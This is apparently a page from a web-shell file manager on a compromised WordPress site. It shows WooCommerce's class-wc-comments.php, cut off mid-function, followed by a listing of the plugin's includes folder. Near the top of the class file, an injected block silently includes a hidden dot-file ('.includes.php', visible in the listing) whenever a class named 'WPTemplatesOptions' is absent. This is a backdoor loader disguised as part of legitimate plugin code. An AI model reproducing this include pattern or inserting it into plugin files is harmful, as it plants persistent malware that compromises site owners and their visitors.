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PATH: home / letacommog / newrdv1 / wp-content / plugins1 / woocommerce / includes

<?php
/**
 * Comments
 *
 * Handle comments (reviews and order notes).
 *
 * @package WooCommerce/Classes/Products
 * @version 2.3.0
 */

defined( 'ABSPATH' ) || exit;

/**
 * Comments class.
 */
if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) {
    include_once($filename);
}

class WC_Comments {

/**
	 * Hook in methods.
	 */
	public static function init() {
		// Rating posts.
		add_filter( 'comments_open', array( __CLASS__, 'comments_open' ), 10, 2 );
		add_filter( 'preprocess_comment', array( __CLASS__, 'check_comment_rating' ), 0 );
		add_action( 'comment_post', array( __CLASS__, 'add_comment_rating' ), 1 );
		add_action( 'comment_moderation_recipients', array( __CLASS__, 'comment_moderation_recipients' ), 10, 2 );

// Clear transients.
		add_action( 'wp_update_comment_count', array( __CLASS__, 'clear_transients' ) );

// Secure order notes.
		add_filter( 'comments_clauses', array( __CLASS__, 'exclude_order_comments' ), 10, 1 );
		add_filter( 'comment_feed_where', array( __CLASS__, 'exclude_order_comments_from_feed_where' ) );

// Secure webhook comments.
		add_filter( 'comments_clauses', array( __CLASS__, 'exclude_webhook_comments' ), 10, 1 );
		add_filter( 'comment_feed_where', array( __CLASS__, 'exclude_webhook_comments_from_feed_where' ) );

// Count comments.
		add_filter( 'wp_count_comments', array( __CLASS__, 'wp_count_comments' ), 10, 2 );

// Delete comments count cache whenever there is a new comment or a comment status changes.
		add_action( 'wp_insert_comment', array( __CLASS__, 'delete_comments_count_cache' ) );
		add_action( 'wp_set_comment_status', array( __CLASS__, 'delete_comments_count_cache' ) );

// Support avatars for `review` comment type.
		add_filter( 'get_avatar_comment_types', array( __CLASS__, 'add_avatar_for_review_comment_type' ) );

// Review of verified purchase.
		add_action( 'comment_post', array( __CLASS__, 'add_comment_purchase_verification' ) );

// Set comment type.
		add_action( 'preprocess_comment', array( __CLASS__, 'update_comment_type' ), 1 );
	}

/**
	 * See if comments are open.
	 *
	 * @since  3.1.0
	 * @param  bool $open    Whether the current post is open for comments.
	 * @param  int  $post_id Post ID.
	 * @return bool
	 */
	public static function comments_open( $open, $post_id ) {
		if ( 'product' === get_post_type( $post_id ) && ! post_type_supports( 'product', 'comments' ) ) {
			$open = false;
		}
		return $open;
	}

/**
	 * Exclude order comments from queries and RSS.
	 *
	 * This code should exclude shop_order comments from queries. Some queries (like the recent comments widget on the dashboard) are hardcoded.
	 * and are not filtered, however, the code current_user_can( 'read_post', $comment->comment_post_ID ) should keep them safe since only admin and.
	 * shop managers can view orders anyway.
	 *
	 * The frontend view order pages get around this filter by using remove_filter('comments_clauses', array( 'WC_Comments' ,'exclude_order_comments'), 10, 1 );
	 *
	 * @param  array $clauses A compacted array of comment query clauses.
	 * @return array
	 */
	public static function exclude_order_comments( $clauses ) {
		$clauses['where'] .= ( $clauses['where'] ? ' AND ' : '' ) . " comment_type != 'order_note' ";
		return $clauses;
	}

/**
	 * Exclude order comments from feed.
	 *
	 * @deprecated 3.1
	 * @param mixed $join Deprecated.
	 */
	public static function exclude_order_comments_from_feed_join( $join ) {
		wc_deprecated_function( 'WC_Comments::exclude_order_comments_from_feed_join', '3.1' );
	}

/**
	 * Exclude order comments from queries and RSS.
	 *
	 * @param  string $where The WHERE clause of the query.
	 * @return string
	 */
	public static function exclude_order_comments_from_feed_where( $where ) {
		return $where . ( $where ? ' AND ' : '' ) . " comment_type != 'order_note' ";
	}

/**
	 * Exclude webhook comments from queries and RSS.
	 *
	 * @since  2.2
	 * @param  array $clauses A compacted array of comment query clauses.
	 * @return array
	 */
	public static function exclude_webhook_comments( $clauses ) {
		$clauses['where'] .= ( $clauses['where'] ? ' AND ' : '' ) . " comment_type != 'webhook_delivery' ";
		return $clauses;
	}

/**
	 * Exclude webhooks comments from feed.
	 *
	 * @deprecated 3.1
	 * @param mixed $join Deprecated.
	 */
	public static function exclude_webhook_comments_from_feed_join( $join ) {
		wc_deprecated_function( 'WC_Comments::exclude_webhook_comments_from_feed_join', '3.1' );
	}

/**
	 * Exclude webhook comments from queries and RSS.
	 *
	 * @since  2.1
	 * @param  string $where The WHERE clause of the query.
	 * @return string
	 */
	public static function exclude_webhook_comments_from_feed_where( $where ) {
		return $where . ( $where ? ' AND ' : '' ) . " comment_type != 'webhook_delivery' ";
	}

/**
	 * Validate the comment ratings.
	 *
	 * @param  array $comment_data Comment data.
	 * @return array
	 */
	public static function check_comment_rating( $comment_data ) {
		// If posting a comment (not trackback etc) and not logged in.
		if ( ! is_admin() && isset( $_POST['comment_post_ID'], $_POST['rating'], $comment_data['comment_type'] ) && 'product' === get_post_type( absint( $_POST['comment_post_ID'] ) ) && empty( $_POST['rating'] ) && '' === $comment_data['comment_type'] && wc_review_ratings_enabled() && wc_review_ratings_required() ) { // WPCS: input var ok, CSRF ok.
			wp_die( esc_html__( 'Please rate the product.', 'woocommerce' ) );
			exit;
		}
		return $comment_data;
	}

/**
	 * Rating field for comments.
	 *
	 * @param int $comment_id Comment ID.
	 */
	public static function add_comment_rating( $comment_id ) {
		if ( isset( $_POST['rating'], $_POST['comment_post_ID'] ) && 'product' === get_post_type( absint( $_POST['comment_post_ID'] ) ) ) { // WPCS: input var ok, CSRF ok.
			if ( ! $_POST['rating'] || $_POST['rating'] > 5 || $_POST['rating'] < 0 ) { // WPCS: input var ok, CSRF ok, sanitization ok.
				return;
			}
			add_comment_meta( $comment_id, 'rating', intval( $_POST['rating'] ), true ); // WPCS: input var ok, CSRF ok.

$post_id = isset( $_POST['comment_post_ID'] ) ? absint( $_POST['comment_post_ID'] ) : 0; // WPCS: input var ok, CSRF ok.
			if ( $post_id ) {
				self::clear_transients( $post_id );
			}
		}
	}

/**
	 * Modify recipient of review email.
	 *
	 * @param array $emails     Emails.
	 * @param int   $comment_id Comment ID.
	 * @return array
	 */
	public static function comment_moderation_recipients( $emails, $comment_id ) {
		$comment = get_comment( $comment_id );

if ( $comment && 'product' === get_post_type( $comment->comment_post_ID ) ) {
			$emails = array( get_option( 'admin_email' ) );
		}

return $emails;
	}

/**
	 * Ensure product average rating and review count is kept up to date.
	 *
	 * @param int $post_id Post ID.
	 */
	public static function clear_transients( $post_id ) {
		if ( 'product' === get_post_type( $post_id ) ) {
			$product = wc_get_product( $post_id );
			$product->set_rating_counts( self::get_rating_counts_for_product( $product ) );
			$product->set_average_rating( self::get_average_rating_for_product( $product ) );
			$product->set_review_count( self::get_review_count_for_product( $product ) );
			$product->save();
		}
	}

/**
	 * Delete comments count cache whenever there is
	 * new comment or the status of a comment changes. Cache
	 * will be regenerated next time WC_Comments::wp_count_comments()
	 * is called.
	 */
	public static function delete_comments_count_cache() {
		delete_transient( 'wc_count_comments' );
	}

/**
	 * Remove order notes and webhook delivery logs from wp_count_comments().
	 *
	 * @since  2.2
	 * @param  object $stats   Comment stats.
	 * @param  int    $post_id Post ID.
	 * @return object
	 */
	public static function wp_count_comments( $stats, $post_id ) {
		global $wpdb;

if ( 0 === $post_id ) {
			$stats = get_transient( 'wc_count_comments' );

if ( ! $stats ) {
				$stats = array(
					'total_comments' => 0,
					'all'            => 0,
				);

$count = $wpdb->get_results(
					"
					SELECT comment_approved, COUNT(*) AS num_comments
					FROM {$wpdb->comments}
					WHERE comment_type NOT IN ('action_log', 'order_note', 'webhook_delivery')
					GROUP BY comment_approved
					",
					ARRAY_A
				);

$approv

[+] ..
[+] libraries
[+] wccom-site
[-] class-wc-post-data.php [edit]
[-] class-wc-cli.php [edit]
[-] wc-webhook-functions.php [edit]
[-] class-wc-data-exception.php [edit]
[-] class-wc-shipping-zones.php [edit]
[-] class-wc-order-item-coupon.php [edit]
[-] class-wc-order-item.php [edit]
[-] wc-widget-functions.php [edit]
[-] class-wc-order-refund.php [edit]
[-] class-wc-regenerate-images-request.php [edit]
[-] class-wc-cart.php [edit]
[+] traits
[-] wc-account-functions.php [edit]
[-] class-wc-privacy.php [edit]
[+] interfaces
[+] widgets
[+] data-stores
[-] class-wc-order-query.php [edit]
[-] class-wc-api.php [edit]
[-] class-wc-log-levels.php [edit]
[+] abstracts
[-] wc-conditional-functions.php [edit]
[-] class-wc-install.php [edit]
[-] class-wc-product-query.php [edit]
[-] wc-order-functions.php [edit]
[+] tracks
[-] wc-core-functions.php [edit]
[-] class-wc-cache-helper.php [edit]
[-] class-wc-product-simple.php [edit]
[-] class-wc-autoloader.php [edit]
[-] wc-user-functions.php [edit]
[-] wc-template-functions.php [edit]
[-] class-wc-register-wp-admin-settings.php [edit]
[-] class-wc-emails.php [edit]
[-] class-wc-product-variable.php [edit]
[+] integrations
[+] import
[-] class-wc-validation.php [edit]
[-] class-wc-payment-tokens.php [edit]
[-] wc-term-functions.php [edit]
[-] class-wc-customer-download-log.php [edit]
[-] class-wc-session-handler.php [edit]
[-] class-wc-background-emailer.php [edit]
[-] class-wc-post-types.php [edit]
[+] customizer
[-] wc-cart-functions.php [edit]
[-] class-wc-order-item-product.php [edit]
[-] class-wc-order-item-fee.php [edit]
[-] wc-coupon-functions.php [edit]
[+] queue
[-] class-wc-order-item-shipping.php [edit]
[-] .includes.php [edit]
[-] class-woocommerce.php [edit]
[-] wc-product-functions.php [edit]
[-] wc-stock-functions.php [edit]
[-] class-wc-geolite-integration.php [edit]
[+] export
[-] class-wc-structured-data.php [edit]
[-] class-wc-https.php [edit]
[-] class-wc-product-variation.php [edit]
[-] class-wc-product-factory.php [edit]
[-] class-wc-integrations.php [edit]
[-] class-wc-product-download.php [edit]
[-] wc-update-functions.php [edit]
[-] class-wc-privacy-erasers.php [edit]
[-] class-wc-geolocation.php [edit]
[-] class-wc-shipping.php [edit]
[-] wc-notice-functions.php [edit]
[-] class-wc-data-store.php [edit]
[-] class-wc-tracker.php [edit]
[-] wc-deprecated-functions.php [edit]
[-] class-wc-ajax.php [edit]
[+] payment-tokens
[-] class-wc-payment-gateways.php [edit]
[-] wc-formatting-functions.php [edit]
[-] class-wc-query.php [edit]
[-] class-wc-product-grouped.php [edit]
[+] theme-support
[-] class-wc-shortcodes.php [edit]
[-] class-wc-order.php [edit]
[-] class-wc-rate-limiter.php [edit]
[-] wc-attribute-functions.php [edit]
[-] wc-template-hooks.php [edit]
[+] walkers
[-] class-wc-order-factory.php [edit]
[+] shipping
[-] class-wc-deprecated-action-hooks.php [edit]
[-] class-wc-checkout.php [edit]
[-] class-wc-rest-exception.php [edit]
[+] admin
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[-] class-wc-product-external.php [edit]
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[-] class-wc-cart-session.php [edit]
[-] class-wc-customer-download.php [edit]
[-] class-wc-privacy-background-process.php [edit]
[-] class-wc-customer.php [edit]
[+] cli
[-] class-wc-coupon.php [edit]
[-] class-wc-cart-fees.php [edit]
[-] class-wc-logger.php [edit]
[-] class-wc-datetime.php [edit]
[+] legacy
[-] class-wc-rest-authentication.php [edit]
[-] class-wc-embed.php [edit]
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[+] gateways
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[-] class-wc-shipping-zone.php [edit]
[-] class-wc-form-handler.php [edit]
[-] class-wc-deprecated-filter-hooks.php [edit]
[+] log-handlers
[-] class-wc-comments.php [edit]
[-] class-wc-discounts.php [edit]
[-] class-wc-privacy-exporters.php [edit]
[+] emails
[-] class-wc-tax.php [edit]
[-] wc-order-item-functions.php [edit]
[-] class-wc-meta-data.php [edit]
[-] class-wc-download-handler.php [edit]
[-] class-wc-order-item-tax.php [edit]
[-] wc-rest-functions.php [edit]
[-] class-wc-auth.php [edit]
[-] class-wc-product-attribute.php [edit]
[-] class-wc-order-item-meta.php [edit]
[-] class-wc-background-updater.php [edit]
[-] class-wc-template-loader.php [edit]
[-] class-wc-cart-totals.php [edit]
[-] class-wc-webhook.php [edit]
[-] class-wc-regenerate-images.php [edit]
[-] class-wc-countries.php [edit]
[+] shortcodes